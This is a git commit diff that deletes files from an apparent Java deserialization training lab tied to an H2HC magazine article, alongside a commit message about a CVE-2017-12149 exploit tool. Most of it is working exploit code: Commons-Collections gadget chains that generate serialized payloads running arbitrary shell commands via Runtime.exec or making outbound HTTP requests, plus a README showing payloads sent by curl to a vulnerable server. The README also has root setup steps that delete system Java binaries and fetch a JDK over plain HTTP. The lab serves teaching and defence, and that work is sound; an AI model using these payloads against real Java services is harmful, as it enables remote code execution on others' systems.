优化 CVE-2017-12149 利用工具
This commit is contained in:
parent
28cbad61ce
commit
691d4479fc
@ -1,36 +0,0 @@
|
||||
import java.io.IOException;
|
||||
|
||||
/**
|
||||
* Classe serializável (implementa serializable) usada no primeiro exemplo
|
||||
* para destacar os magic methods readObject (invocado automaticamente durante
|
||||
* a desserializacao de objetos deste tipo) e writeObject (invocado durante a
|
||||
* serializacao)
|
||||
*
|
||||
* -----------------------------------------------------------------------
|
||||
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
|
||||
* https://www.h2hc.com.br/revista/
|
||||
* -----------------------------------------------------------------------
|
||||
*
|
||||
* @author @joaomatosf
|
||||
*/
|
||||
class Alien implements java.io.Serializable {
|
||||
|
||||
String name;
|
||||
String source;
|
||||
|
||||
// magic method invocado automaticamente durante a desserializacao
|
||||
// de objetos deste tipo
|
||||
private void readObject(java.io.ObjectInputStream in)
|
||||
throws IOException, ClassNotFoundException {
|
||||
in.defaultReadObject();
|
||||
System.out.println("Deserializing an object of class: "+ getClass().getName());
|
||||
}
|
||||
|
||||
// magic method invocado automaticamente durante a serializacao
|
||||
// de objetos deste tipo
|
||||
private void writeObject(java.io.ObjectOutputStream out)
|
||||
throws IOException {
|
||||
out.defaultWriteObject();
|
||||
System.out.println("Serializing an object of class: "+ getClass().getName());
|
||||
}
|
||||
}
|
@ -1,103 +0,0 @@
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||
import org.apache.commons.collections.functors.InvokerTransformer;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
|
||||
import java.io.FileNotFoundException;
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.ObjectOutputStream;
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Proxy;
|
||||
import java.net.URL;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* Gera payload com gadget chain para realizar um HTTP GET em um endereço
|
||||
* controlado pelo testador. Se for usado um domínio "hospedado" pelo testador,
|
||||
* pode-se validar se o payload foi executado ao verificar os logs do servico DNS.
|
||||
* Note que esse payload requer que a commons-collections vulnerável esteja
|
||||
* disponível no classpath (<= 3.2.1), bem como a AnnotationInvocationHandler do JRE < 8u72
|
||||
* Há outro payload, desenvolvido por Gabriel Lawrence, que permite forçar uma
|
||||
* consulta DNS usufruindo apenas das classes URL e HashMap (que são serializáves).
|
||||
*
|
||||
* -----------------------------------------------------------------------
|
||||
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
|
||||
* https://www.h2hc.com.br/revista/
|
||||
* -----------------------------------------------------------------------
|
||||
*
|
||||
* OBS: Esse código tem fins apenas didáticos. Algumas cadeias de
|
||||
* transformers são baseadas nas versões de Chris Frohoff e/ou Matthias Kaiser
|
||||
*
|
||||
**** USAGE ****
|
||||
*
|
||||
* Compilando:
|
||||
* $ javac -cp .:commons-collections-3.2.1.jar DnsWithCommonsCollections.java
|
||||
*
|
||||
* Executando
|
||||
* $ java -cp .:commons-collections-3.2.1.jar DnsWithCommonsCollections http://www.your_domain.com
|
||||
*
|
||||
* @author @joaomatosf
|
||||
*/
|
||||
public class DnsWithCommonsCollections {
|
||||
@SuppressWarnings ( {"unchecked"} )
|
||||
public static void main(String[] args)
|
||||
throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
|
||||
IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException {
|
||||
|
||||
String url = args[0];
|
||||
// Cria array de transformers que resulta na seguinte construção:
|
||||
// new URL(url).openConnection().getInputStream().read();
|
||||
Transformer[] transformers = new Transformer[] {
|
||||
new ConstantTransformer(new URL(url)),
|
||||
new InvokerTransformer("openConnection", new Class[] { }, new Object[] {}),
|
||||
new InvokerTransformer("getInputStream", new Class[] { }, new Object[] {}),
|
||||
new InvokerTransformer("read", new Class[] {}, new Object[] {})
|
||||
};
|
||||
|
||||
// Cria o objeto ChainedTransformer com o array de Transformers:
|
||||
Transformer transformerChain = new ChainedTransformer(transformers);
|
||||
// Cria o map
|
||||
Map map = new HashMap();
|
||||
// Decora o map com o LazyMap e a cadeia de transformações como factory
|
||||
Map lazyMap = LazyMap.decorate(map,transformerChain);
|
||||
|
||||
// Usa reflexão para obter referencia da classe AnnotationInvocationHandler
|
||||
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
|
||||
// Obtem construtor da AnnotationInvocationHandler que recebe um tipo (class) e um Map
|
||||
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
|
||||
// Torna o construtor acessível
|
||||
ctor.setAccessible(true);
|
||||
// Obtem/Cria instancia do AnnotationInvocationHandler, fornecendo (via construtor) um Retetion.class (que eh um
|
||||
// type Annotation, requerido pelo construtor) e atribui o LazyMap (contendo a cadeia de Transformers) ao campo
|
||||
// memberValues. Assim, ao tentar obter uma chave inexiste deste campo, a cadeia será "executada"!
|
||||
InvocationHandler handlerLazyMap = (InvocationHandler) ctor.newInstance(Retention.class, lazyMap);
|
||||
|
||||
//criado a interface map
|
||||
Class[] interfaces = new Class[] {java.util.Map.class};
|
||||
// cria o Proxy "entre" a interface Map e o AnnotationInvocationHandler anterior (que contém o lazymap+transformers)
|
||||
Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaces, handlerLazyMap);
|
||||
|
||||
// cria outro AnnotationInvocationHandler atribui o Proxy ao campo memberValues
|
||||
// esse Proxy será "acionado" no magic method readObject e, assim, desviará o fluxo para o
|
||||
// método invoke() do primeiro AnnotationInvocationHandler criado (que contém o LazyMap+Transformers)
|
||||
InvocationHandler handlerProxy = (InvocationHandler) ctor.newInstance(Retention.class, proxyMap);
|
||||
|
||||
// Serializa o objeto "handlerProxy" e o salva em arquivo. Ao ser desserializado,
|
||||
// o readObject irá executar um map.entrySet() e, assim, desviar o fluxo para o invoke().
|
||||
// No invoke(), uma chave inexistente será buscada no campo "memberValues" (que contém um LazyMap
|
||||
// com a cadeia de Transformers), o que deverá acionar o Thread.sleep(10000)!
|
||||
System.out.println("Saving serialized object in SleepExample.ser");
|
||||
FileOutputStream fos = new FileOutputStream("SleepExample.ser");
|
||||
ObjectOutputStream oos = new ObjectOutputStream(fos);
|
||||
oos.writeObject(handlerProxy);
|
||||
oos.flush();
|
||||
|
||||
}
|
||||
|
||||
}
|
@ -1,129 +0,0 @@
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||
import org.apache.commons.collections.functors.InvokerTransformer;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
|
||||
import java.io.*;
|
||||
import java.lang.*;
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Proxy;
|
||||
import java.util.*;
|
||||
|
||||
/**
|
||||
* Gera payload que leva a execução de código durante a desserialização.
|
||||
* São usados os gadgets LayzMap, InvokerTransformer, ConstantTransformer e
|
||||
* ChainedTransformer, da commons-collections e a AnnotationInvocationHandler,
|
||||
* do JRE, como trigger gadget.
|
||||
* Note que esse exemplo (que usa a AnnotationInvocationHandler como trigger)
|
||||
* deverá funcionar em sistemas com JRE < 8u72. Em sistemas com versões superiores,
|
||||
* deve-se usar outro gadget como trigger, a exemplo do BadAttributeValueExpException
|
||||
* ou um HashMap + TiedMapEntry, propostos por Matthias Kaiser.
|
||||
*
|
||||
* -----------------------------------------------------------------------
|
||||
* * Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
|
||||
* * https://www.h2hc.com.br/revista/
|
||||
* -----------------------------------------------------------------------
|
||||
*
|
||||
* OBS: Esse código tem fins apenas didáticos. Algumas cadeias de
|
||||
* transformers são baseadas nas versões de Chris Frohoff e/ou Matthias Kaiser
|
||||
*
|
||||
**** USAGE ****
|
||||
*
|
||||
* Compilando:
|
||||
* $ javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java
|
||||
*
|
||||
* Executando
|
||||
* $ java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1 'touch /tmp/h2hc_2017'
|
||||
*
|
||||
* @author @joaomatosf
|
||||
*/
|
||||
public class ExampleCommonsCollections1 {
|
||||
@SuppressWarnings ( {"unchecked"} )
|
||||
public static void main(String[] args)
|
||||
throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
|
||||
IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException {
|
||||
|
||||
// Verifica se o usuário forneceu o comando a ser executado
|
||||
if (args.length != 1) {
|
||||
System.out.println("Invalid params! \n" +
|
||||
"Example usage: java ExampleCommonsCollections1 \"touch /tmp/test\"");
|
||||
System.exit(1);
|
||||
}
|
||||
|
||||
// Seleciona o interpretador correto de acordo com o comando a ser executado
|
||||
//boolean isUnix = System.getProperty("file.separator").equals("/");
|
||||
boolean isUnix = !args[0].contains("cmd.exe") && !args[0].contains("powershell.exe");
|
||||
String cmd[];
|
||||
if (isUnix)
|
||||
cmd = new String[]{"/bin/bash", "-c", args[0]}; // Comando a ser executado
|
||||
else
|
||||
cmd = new String[]{"cmd.exe", "/c", args[0]}; // Comando a ser executado
|
||||
|
||||
// Cria array de transformers que resulta na seguinte construção:
|
||||
//((Runtime)Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object[0])).exec(cmd[]);
|
||||
Transformer[] transformers = new Transformer[] {
|
||||
// retorna Class Runtime.class
|
||||
new ConstantTransformer(Runtime.class),
|
||||
// 1o. Objeto InvokerTransformer: .getMethod("getRuntime", new Class[0])
|
||||
new InvokerTransformer(
|
||||
"getMethod", // invoca método getMethod
|
||||
( new Class[] {String.class, Class[].class } ),// tipos dos parâmetros: (String, Class[])
|
||||
( new Object[] {"getRuntime", new Class[0] } ) // parâmetros: (getRuntime, Class[0])
|
||||
),
|
||||
// 2o. Objeto InvokerTransformer: .invoke(null, new Object[0])
|
||||
new InvokerTransformer(
|
||||
"invoke", // invoca método: invoke
|
||||
(new Class[] {Object.class, Object[].class }),// tipos dos parâmetros: (Object.class, Object[])
|
||||
(new Object[] {null, new Object[0] }) // parâmetros: (null, new Object[0])
|
||||
),
|
||||
// 3o. Objeto InvokerTransformer: .exec(cmd[])
|
||||
new InvokerTransformer(
|
||||
"exec", // invoca método: exec
|
||||
new Class[] { String[].class }, // tipos dos parâmetros: (String[])
|
||||
new Object[]{ cmd } ) // parâmetros: (cmd[])
|
||||
};
|
||||
|
||||
// Cria o objeto ChainedTransformer com o array de Transformers:
|
||||
Transformer transformerChain = new ChainedTransformer(transformers);
|
||||
// Cria o map
|
||||
Map map = new HashMap();
|
||||
// Decora o map com o LazyMap e a cadeia de transformações como factory
|
||||
Map lazyMap = LazyMap.decorate(map,transformerChain);
|
||||
|
||||
// Usa reflexão para obter referencia da classe AnnotationInvocationHandler
|
||||
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
|
||||
// Obtem construtor da AnnotationInvocationHandler que recebe um tipo (class) e um Map
|
||||
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
|
||||
// Torna o construtor acessível
|
||||
ctor.setAccessible(true);
|
||||
// Obtem/Cria instancia do AnnotationInvocationHandler, fornecendo (via construtor) um Retetion.class (que eh um
|
||||
// type Annotation, requerido pelo construtor) e atribui o LazyMap (contendo a cadeia de Transformers) ao campo
|
||||
// memberValues. Assim, ao tentar obter uma chave inexiste deste campo, a cadeia será "executada"!
|
||||
InvocationHandler handlerLazyMap = (InvocationHandler) ctor.newInstance(Retention.class, lazyMap);
|
||||
|
||||
//cria a interface map
|
||||
Class[] interfaces = new Class[] {java.util.Map.class};
|
||||
// cria o Proxy "entre" a interface Map e o AnnotationInvocationHandler anterior (que contém o lazymap+transformers)
|
||||
Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaces, handlerLazyMap);
|
||||
|
||||
// cria outro AnnotationInvocationHandler atribui o Proxy ao campo memberValues
|
||||
// esse Proxy será "acionado" no magic method readObject e, assim, desviará o fluxo para o
|
||||
// método invoke() do primeiro AnnotationInvocationHandler criado (que contém o LazyMap+Transformers)
|
||||
InvocationHandler handlerProxy = (InvocationHandler) ctor.newInstance(Retention.class, proxyMap);
|
||||
|
||||
// Serializa o objeto "handlerProxy" e o salva em arquivo. Ao ser desserializado,
|
||||
// o readObject irá executar um map.entrySet() e, assim, desviar o fluxo para o invoke().
|
||||
// No invoke(), uma chave inexistente será buscada no campo "memberValues" (que contém um LazyMap
|
||||
// com a cadeia de Transformers), o que deverá acionar o Thread.sleep(10000)!
|
||||
System.out.println("Saving serialized object in ExampleCommonsCollections1.ser");
|
||||
FileOutputStream fos = new FileOutputStream("ExampleCommonsCollections1.ser");
|
||||
ObjectOutputStream oos = new ObjectOutputStream(fos);
|
||||
oos.writeObject(handlerProxy);
|
||||
oos.flush();
|
||||
|
||||
}
|
||||
}
|
@ -1,79 +0,0 @@
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||
import org.apache.commons.collections.functors.InvokerTransformer;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
|
||||
import java.io.*;
|
||||
import java.lang.*;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.util.*;
|
||||
|
||||
/**
|
||||
* Exemplo que demonstra que um Map decorado com um LazyMap e uma ChainedTransformer
|
||||
* como factory pode levar a execução de comando (através da invocação a métodos arbitrários
|
||||
* via Reflexão) caso seja acessada uma chave inexistente no map.
|
||||
* Esse é um dos princípios usados para executar comandos usufruíndo de gadgets que tentam
|
||||
* acessar chaves inexistentes em campos (controlados pelos usuários) em seus magic methods.
|
||||
*
|
||||
* -----------------------------------------------------------------------
|
||||
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
|
||||
* https://www.h2hc.com.br/revista/
|
||||
* -----------------------------------------------------------------------
|
||||
*
|
||||
* OBS: Esse código tem fins apenas didáticos. Algumas cadeias de
|
||||
* transformers são baseadas nas versões de Chris Frohoff e/ou Matthias Kaiser
|
||||
*
|
||||
**** USAGE ****
|
||||
*
|
||||
* Compilando:
|
||||
* $ javac -cp .:commons-collections-3.2.1.jar ExampleTransformersWithLazyMap.java
|
||||
*
|
||||
* Executando
|
||||
* $ rm /tmp/h2hc_lazymap
|
||||
* $ java -cp .:commons-collections-3.2.1.jar ExampleTransformersWithLazyMap
|
||||
* $ ls -all /tmp/h2hc_lazymap
|
||||
*
|
||||
* @author @joaomatosf
|
||||
*/
|
||||
public class ExampleTransformersWithLazyMap {
|
||||
@SuppressWarnings ( {"unchecked"} )
|
||||
public static void main(String[] args)
|
||||
throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
|
||||
IllegalAccessException, IllegalArgumentException, InvocationTargetException {
|
||||
|
||||
String cmd[] = {"/bin/sh", "-c", "touch /tmp/h2hc_lazymap"}; // Comando a ser executado
|
||||
|
||||
Transformer[] transformers = new Transformer[] {
|
||||
// retorna Class Runtime.class
|
||||
new ConstantTransformer(Runtime.class),
|
||||
// 1o. Objeto InvokerTransformer: .getMethod("getRuntime", new Class[0])
|
||||
new InvokerTransformer(
|
||||
"getMethod", // invoca método getMethod
|
||||
( new Class[] {String.class, Class[].class } ),// tipos dos parâmetros: (String, Class[])
|
||||
( new Object[] {"getRuntime", new Class[0] } ) // parâmetros: (getRuntime, Class[0])
|
||||
),
|
||||
// 2o. Objeto InvokerTransformer: .invoke(null, new Object[0])
|
||||
new InvokerTransformer(
|
||||
"invoke", // invoca método: invoke
|
||||
(new Class[] {Object.class, Object[].class }),// tipos dos parâmetros: (Object.class, Object[])
|
||||
(new Object[] {null, new Object[0] }) // parâmetros: (null, new Object[0])
|
||||
),
|
||||
// 3o. Objeto InvokerTransformer: .exec(cmd[])
|
||||
new InvokerTransformer(
|
||||
"exec", // invoca método: exec
|
||||
new Class[] { String[].class }, // tipos dos parâmetros: (String[])
|
||||
new Object[]{ cmd } ) // parâmetros: (cmd[])
|
||||
};
|
||||
|
||||
// Cria o objeto ChainedTransformer com o array de Transformers:
|
||||
Transformer transformerChain = new ChainedTransformer(transformers);
|
||||
// Cria o map
|
||||
Map map = new HashMap();
|
||||
// Decora o map com o LazyMap e a cadeia de transformações como factory
|
||||
Map lazyMap = LazyMap.decorate(map,transformerChain);
|
||||
|
||||
lazyMap.get("h2hc2"); // Tenta recuperar uma chave inexistente (BUM)
|
||||
|
||||
}
|
||||
}
|
@ -1,72 +0,0 @@
|
||||
import java.io.FileInputStream;
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.ObjectInputStream;
|
||||
import java.io.ObjectOutputStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.lang.reflect.Proxy;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* Exemplo didático de como usar Reflection e Dynamic Proxy para desviar
|
||||
* o fluxo de execução durante a desserialização.
|
||||
* Esse código gera um payload para explorar um sistema hipotético que contenha
|
||||
* as classes ForgottenClass e SomeInvocationHandler no classpatch.
|
||||
*
|
||||
* -----------------------------------------------------------------------
|
||||
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
|
||||
* https://www.h2hc.com.br/revista/
|
||||
* -----------------------------------------------------------------------
|
||||
*
|
||||
**** USAGE ****
|
||||
*
|
||||
* Compilando:
|
||||
* $ javac -cp .:commons-collections-3.2.1.jar ExploitGadgetExample1.java
|
||||
*
|
||||
* Executando
|
||||
* $ rm /tmp/h2hc_2017
|
||||
* $ java -cp .:commons-collections-3.2.1.jar ExploitGadgetExample1
|
||||
* $ ls -all /tmp/h2hc_2017
|
||||
*
|
||||
*
|
||||
* @author @joaomatosf
|
||||
*/
|
||||
public class ExploitGadgetExample1{
|
||||
@SuppressWarnings ( {"unchecked"} )
|
||||
public static void main(String[] args)
|
||||
throws NoSuchFieldException, IllegalArgumentException, IllegalAccessException,
|
||||
IOException, ClassNotFoundException {
|
||||
|
||||
// Instancia um SomeInvocationHandler
|
||||
InvocationHandler handler = new SomeInvocationHandler();
|
||||
Field fieldHandler = handler.getClass().getDeclaredField("cmd"); //obtem campo "cmd" do SomeInvocationHandler
|
||||
fieldHandler.setAccessible(true); // torna o campo "cmd" acessível
|
||||
fieldHandler.set(handler, "touch /tmp/h2hc_2017"); // atribui um valor ao campo "cmd"
|
||||
|
||||
// criar interface Map
|
||||
Class[] interfaceMap = new Class[] {java.util.Map.class};
|
||||
// Cria Proxy "entre" interfaceMap e o Handler SomeInvocationHandler
|
||||
Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaceMap, handler);
|
||||
|
||||
// Intancia ForgottenClass (que sera' serializado)
|
||||
ForgottenClass gadget = new ForgottenClass();
|
||||
Field field = gadget.getClass().getDeclaredField("map"); // obtem campo "map" do ForgottenClass
|
||||
field.setAccessible(true); // torna o campo "map" acessível
|
||||
field.set(gadget, proxyMap); // Atribui o Proxy ao campo "map"
|
||||
|
||||
// Serializa objeto do ForgottenClass e salva no disco
|
||||
System.out.println("Serializing ForgottenClass");
|
||||
FileOutputStream fos = new FileOutputStream("/tmp/object.ser");
|
||||
ObjectOutputStream oos = new ObjectOutputStream(fos);
|
||||
oos.writeObject(gadget);
|
||||
oos.flush();
|
||||
|
||||
// Desserializa objeto a partir do arquivo, para simular o que devera
|
||||
// ocorrer quando o objeto for desserializado por uma aplicacao
|
||||
System.out.println("Deserializing ForgottenClass");
|
||||
FileInputStream fis = new FileInputStream("/tmp/object.ser");
|
||||
ObjectInputStream ois = new ObjectInputStream(fis);
|
||||
ois.readObject(); // <-- Inicia a desserializacao!
|
||||
} //end main
|
||||
}
|
@ -1,46 +0,0 @@
|
||||
import java.io.IOException;
|
||||
import java.io.Serializable;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* Um dos gadgets usados no exemplo didático que demonstra como desviar o
|
||||
* fluxo de execucão durante a desserialização (utilizando Dynamic Proxy).
|
||||
* Esse gatget invoca um método de um campo (map.entrySet()) e, por isso,
|
||||
* pode ser usado como trampolim para o método invoke() de classes que implementem
|
||||
* InvocationHandler. No exemplo da revista, o fluxo será desviado para a classe
|
||||
* SomeInvocationHandler, que contém um código que se deseja alcançar.
|
||||
*
|
||||
* -----------------------------------------------------------------------
|
||||
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
|
||||
* https://www.h2hc.com.br/revista/
|
||||
* -----------------------------------------------------------------------
|
||||
*
|
||||
* @author @joaomatosf
|
||||
*/
|
||||
public class ForgottenClass implements Serializable {
|
||||
|
||||
private Map map;
|
||||
|
||||
// magic method executado automaticamente durante a desserializacao
|
||||
// de objetos deste tipo. Repare que é acessado um método de um camop
|
||||
// controlado pelos usuários (map.entrySet())
|
||||
private void readObject(java.io.ObjectInputStream in)
|
||||
throws IOException, ClassNotFoundException{
|
||||
in.defaultReadObject();
|
||||
System.out.println("-------------------------------------------");
|
||||
System.out.println("The flow is in ForgottenClass.readObject()");
|
||||
map.entrySet();
|
||||
}
|
||||
|
||||
// outro magic method invocado automaticamente durante a desserialização
|
||||
private Object readResolve(){
|
||||
System.out.println("-------------------------------------------");
|
||||
System.out.println("The flow is in the ForgottenClass.readResolve()");
|
||||
return null;
|
||||
}
|
||||
|
||||
// método qualquer, que não é invocado durante a desserialização.
|
||||
private void anotherMethod(){
|
||||
System.out.println("The flow is in ForgottenClass.anotherMethod()");
|
||||
}
|
||||
}
|
@ -1,21 +0,0 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2017 João F M Figueiredo
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
@ -1,143 +0,0 @@
|
||||
# Lab for Java Deserialization Vulnerabilities
|
||||
|
||||
This content is related to the paper written for the 12th edition of H2HC magazine.
|
||||
See full paper in: https://www.h2hc.com.br/revista/
|
||||
|
||||
Slides and video of the talk will be available soon.
|
||||
|
||||
>Um overview sobre as bases das falhas de desserialização nativa em ambientes Java (JVM)
|
||||
|
||||
>An overview of deserialization vulnerabilities in the Java Virtual Machine (JVM)
|
||||
|
||||
Content
|
||||
--
|
||||
The lab contains code samples that help you understand deserialization vulnerabilities and how gadget chains exploit them.
|
||||
The goal is to provide a better understanding so that you can develop new payloads and/or better design your environments.
|
||||
|
||||
There is also a vulnerable testing application (VulnerableHTTPServer.java), which helps you test your payloads.
|
||||
|
||||
Slides
|
||||
--
|
||||
|
||||
[](https://www.slideshare.net/joaomatosf_/an-overview-of-deserialization-vulnerabilities-in-the-java-virtual-machine-jvm-h2hc-2017)
|
||||
|
||||
|
||||
Examples (PoC's)
|
||||
------
|
||||
|
||||
* PoC CVE-2017-7504 - JBossMQ JMS Invocation Layer (https://access.redhat.com/security/cve/cve-2017-7504)
|
||||
|
||||
[](https://www.youtube.com/watch?v=jVMr4eeJ2Po)
|
||||
|
||||
* PoC CVE-2017-12149 - JBoss 6.X and EAP 5.X (https://access.redhat.com/security/cve/cve-2017-12149)
|
||||
|
||||
[](https://www.youtube.com/watch?v=JIWMItSA8l0)
|
||||
|
||||
* PoC Exploiting struts2-rest XStream Deserialization with Reverse Shell
|
||||
|
||||
[](https://www.youtube.com/watch?v=IrZOlqio0nw)
|
||||
|
||||
|
||||
Lab Usage Examples
|
||||
--
|
||||
First of all you need to read the full paper. Then review the sample codes and use the vulnerable testing application to understand how payloads work.
|
||||
|
||||
***Getting JDK***
|
||||
|
||||
If you dont want to go to the Oracle page and register, you can download the JDK directly from me in: http://www.joaomatosf.com/rnp/?prefix=rnp/java_files/
|
||||
|
||||
As **root**, run:
|
||||
```
|
||||
# cd /opt
|
||||
# curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
|
||||
# tar zxvf jdk-8u20-linux-x64.tar.gz
|
||||
# rm -rf /usr/bin/java*
|
||||
# ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
|
||||
# java -version
|
||||
java version "1.8.0_20"
|
||||
```
|
||||
|
||||
|
||||
***Getting codes:***
|
||||
|
||||
```
|
||||
$ git clone https://github.com/joaomatosf/JavaDeserH2HC.git
|
||||
$ cd JavaDeserH2HC
|
||||
```
|
||||
|
||||
***Compiling and executing Vulnerable Web Application:***
|
||||
|
||||
```
|
||||
$ javac VulnerableHTTPServer.java -XDignore.symbol.file
|
||||
$ java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer
|
||||
```
|
||||
|
||||
|
||||
```
|
||||
* =============================================================== *
|
||||
* Simple Java HTTP Server for Deserialization Lab v0.01 *
|
||||
* https://github.com/joaomatosf/JavaDeserH2HC *
|
||||
* =============================================================== *
|
||||
You can inject java serialized objects in the following formats:
|
||||
|
||||
1) Binary in HTTP POST (ie \xAC\xED). Ex:
|
||||
$ curl 127.0.0.1:8000 --data-binary @ObjectFile.ser
|
||||
|
||||
2) Base64 or Gzip+Base64 via HTTP POST parameters. Ex:
|
||||
$ curl 127.0.0.1:8000 -d "ViewState=H4sICAeH..."
|
||||
$ curl 127.0.0.1:8000 -d "ViewState=rO0ABXNy..."
|
||||
|
||||
3) Base64 or Gzip+Base64 in cookies. Ex:
|
||||
$ curl 127.0.0.1:8000 -H "Cookie: JSESSIONID=H4sICAeH..."
|
||||
$ curl 127.0.0.1:8000 -H "Cookie: JSESSIONID=rO0ABXNy..."
|
||||
|
||||
4) Base64 of AES-CBC encrypted with hardcoded Apache Shiro key. Ex:
|
||||
$ curl 127.0.0.1:8000 -H "Cookie: rememberMe=MTIzNDU2Nzg...
|
||||
|
||||
5) XML for XStream RCE vulnerability/serialization. Ex:
|
||||
$ curl 127.0.0.1:8000 -d @file.xml
|
||||
|
||||
OBS: To test gadgets in specific libraries, run with -cp param. Ex:
|
||||
$ java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer
|
||||
==================================================================
|
||||
|
||||
JRE Version: 1.8.0_77
|
||||
[INFO]: Listening on port 8000
|
||||
```
|
||||
|
||||
***Testing payloads***
|
||||
|
||||
Compiling example1 that works in applications with commons-collections3.2.1 in the classpath and JRE < 8u72:
|
||||
|
||||
```
|
||||
$ javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java
|
||||
```
|
||||
|
||||
Generating payload:
|
||||
|
||||
```
|
||||
$ java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1 'touch /tmp/h2hc_2017'
|
||||
Saving serialized object in ExampleCommonsCollections1.ser
|
||||
```
|
||||
|
||||
Exploiting vulnerable server:
|
||||
|
||||
Sending the payload in binary format via HTTP POST:
|
||||
```
|
||||
$ rm -rf /tmp/h2hc_2017
|
||||
$ curl 127.0.0.1:8000/ --data-binary @ExampleCommonsCollections1.ser
|
||||
Data deserialized!
|
||||
$ ls -all /tmp/h2hc_2017
|
||||
-rw-r--r-- 1 joao joao 0 Sep 13 22:34 /tmp/h2hc_2017
|
||||
```
|
||||
|
||||
Sending the payload in Gzip+Base64 format via HTTP Cookies:
|
||||
```
|
||||
$ rm -rf /tmp/h2hc_2017
|
||||
$ gzip ExampleCommonsCollections1.ser
|
||||
$ base64 -w0 ExampleCommonsCollections1.ser.gz
|
||||
